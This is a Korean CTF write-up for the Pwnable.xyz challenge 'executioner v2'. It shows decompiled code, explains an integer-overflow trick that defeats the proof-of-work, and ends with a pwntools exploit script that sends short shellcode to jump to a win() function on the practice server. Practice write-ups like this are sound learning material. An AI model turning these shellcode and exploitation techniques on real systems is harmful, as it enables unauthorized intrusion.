tmxklab
[Pwnable.xyz] executioner v2 본문
1. 문제
nc svc.pwnable.xyz 30028
1) mitigation 확인
2) 문제 확인
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
_QWORD *v4; // rax
__int64 v5; // rdx
int i; // [rsp+0h] [rbp-20h]
int fd; // [rsp+4h] [rbp-1Ch]
setup(argc, argv, envp);
solve_pow();
puts("Shellcode executioner");
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("error");
result = 1;
}
else
{
read(fd, key, 0x10uLL);
close(fd);
printf("Input: ");
read(0, inpt, 0x10uLL);
for ( i = 0; i < strlen(inpt); ++i )
inpt[i] ^= key[i];
v4 = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
v5 = qword_202288;
*v4 = *(_QWORD *)inpt;
v4[1] = v5;
((void (__fastcall *)(_QWORD, _QWORD, _QWORD *, _QWORD, _QWORD, _QWORD))v4)(0LL, 0LL, v4, 0LL, 0LL, 0LL);
result = 0;
}
return result;
}
3-2) solve_pow()
unsigned __int64 solve_pow()
{
unsigned int buf; // [rsp+8h] [rbp-18h]
int v2; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
int fd; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Can't open /dev/urandom");
exit(1);
}
buf = 0;
read(fd, &buf, 4uLL);
close(fd);
v2 = 0;
v3 = 0;
printf("POW: x + y == 0x%x\n", buf);
printf("> ");
if ( (unsigned int)_isoc99_scanf("%u %u", &v2, &v3) != 2 || !v2 || !v3 )
{
puts("error");
exit(1);
}
getchar();
if ( v3 + v2 != buf )
{
puts("POW failed");
exit(1);
}
puts("Loading challenge... ");
sleep(v2 * v3);
return __readfsqword(0x28u) ^ v5;
}
- 이전에 풀었던 executioner과 동일한 로직인 줄 알았으나 이번에는 v2에 0을 못넣게 한다.
2. 접근방법
먼저, solve_pow()에서 입력 값 v2, v3의 합이 buf에 만족하고 sleep(v2*v3)에 의해 시간이 오래걸릴 수 있으므로 v2 * v3의 값이 감당할 수 있을 만큼 작은 수 여야 한다.
1) solve_pow()
일단 처음 생각한 방법은 v2와 v3는 (unsinged int)타입이므로 integer overflow를 일으켜 다시 0으로 세팅되게 하는 방법이다.
- (unsigned int) 범위 : 0 ~ 4,294,967,295(0xffff,ffff)
즉 두 수의 곱이 0x1,0000,0000이 되면 0으로 세팅된다.
- v2 = 0x1000,0000 / v3 = 0x10
- rax값이 0으로 세팅된 것을 확인할 수 있음
하지만, 문제는 여기서 발생한다. (여기서 삽질이 좀 오래걸렸음;;)
두 수의 곱이 0x1,0000,0000이 되는 것을 알지만 두 수의 합이 랜덤한 값 buf가 되려면 두 수의 값이 0x1,0000,0000의 약수여야 한다. 여기서 0x1,0000,0000의 약수를 모두 구하여 약수 중에 2개를 골라 2개의 합이 buf와 동일한 값이 될 수도 있고 안 될 수도 있는데... 안 될 확률이 좀 더 높은 것 같다. (계속 돌려봤는데 잘 안나옴..)
그래서 다음 방법을 생각해보았다. 그래 뭐 굳이 sleep(0)으로 만들어서 0초 만들지말고 한 10초? 20초 정도까진 기다릴 수 있잖아? 내가 너 기다릴 수 있잖아? 그래 안그래? 그래 안그래!!! 하는 마음으로 위와 동일하게 0x1,0000,0000 ~ 0x1,0000,0064까지 모든 약수를 구해서 돌려봤는데....
역시나 buf와 동일한 값을 찾는데 어려웠다... ㅠㅠㅠ
그러다가 생각한 방법이 0x1,0000,0000을 2로 나누면 0x8000,0000이며 짝수의 곱이면 0x1,0000,0000이고 홀수의 곱이면 0x?????,8000,0000인 것을 이용하기로 하였다. 50프로의 확률로 0x8000,0000와 buf의 차이가 sleep(0)이 될 수 있으므로 나쁘지 않은 방법인 것 같다.
짝수인 경우)
- y값이 짝수이므로 바로 실행된다.
홀수인 경우)
- y값이 홀수이므로 0x8000,0000초 만큼 기다려야 한다...
2) 쉘 코드
전에 풀었던 executioner문제와 동일하게 inpt에 쉘 코드를 저장하고 for문에서 xor연산을 거쳐 mmap에 inpt의 값을 저장하고 쉘 코드를 실행하는 것 같다.
하지만 다른 점은 read()를 통해 inpt에 저장할 쉘 코드의 길이가 0x10밖에 되질 않는다. 디버깅을 통해 확인해보자
(입력 값에는 for문을 우회하기 위해 널 값 한 바이트를 삽입하였다.)
- rbp, rsp, rip를 제외한 나머지 레지스터는 xor연산을 통해 0으로 세팅
- 현재 rdx는 mmap영역을 가리키며 rbp, rsp, rip를 제외한 나머지 레지스터들은 0으로 세팅된 상황이다.
- call rdx를 통해 mmap영역으로 이동한 상황이다.
- system("/bin/sh") 쉘 코드를 작성하기에는 입력 값이 작으므로 다른 방법을 이용하도록 하자
- 일단 mmap영역으로 이동하였을 때 눈에 띄는 것은 rsp가 가리키는 <main+369>주소 값이다.
- 바이너리 파일에는 win()가 존재하므로 <main+369>와 offset을 통해 win함수의 주소를 구할 수 있다.
- 따라서, win()의 주소를 구해서 레지스터에 저장하고 call win하면 될듯
3. 풀이
1) 익스코드
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30028)
#gdb.attach(p)
# 1. solve_pow
p.recvuntil("0x")
buf = p.recvuntil("\n")[:-1]
buf = int(buf, 16)
unsigned = 0x100000000
x = int(hex(unsigned/2), 16)
y = buf - x
log.info("buf : "+str(buf))
log.info("x : "+str(x)+", y : "+str(y)+", x + y = "+str(x+y))
p.sendlineafter("> ", str(x))
sleep(0.1)
p.sendline(str(y))
# 2. shellcode
shellcode = "\x00\x02"
shellcode += asm("pop rax")
shellcode += asm("sub ax, 0x2ce")
shellcode += asm("call rax")
p.sendafter("Input: ", shellcode)
p.interactive()
2) 실행결과
4. 몰랐던 개념
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] Hero Factory (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] note v2 (0) | 2020.09.09 |
[Pwnable.xyz] badayum (0) | 2020.09.09 |
[Pwnable.xyz] password (0) | 2020.09.09 |
[Pwnable.xyz] executioner (0) | 2020.09.09 |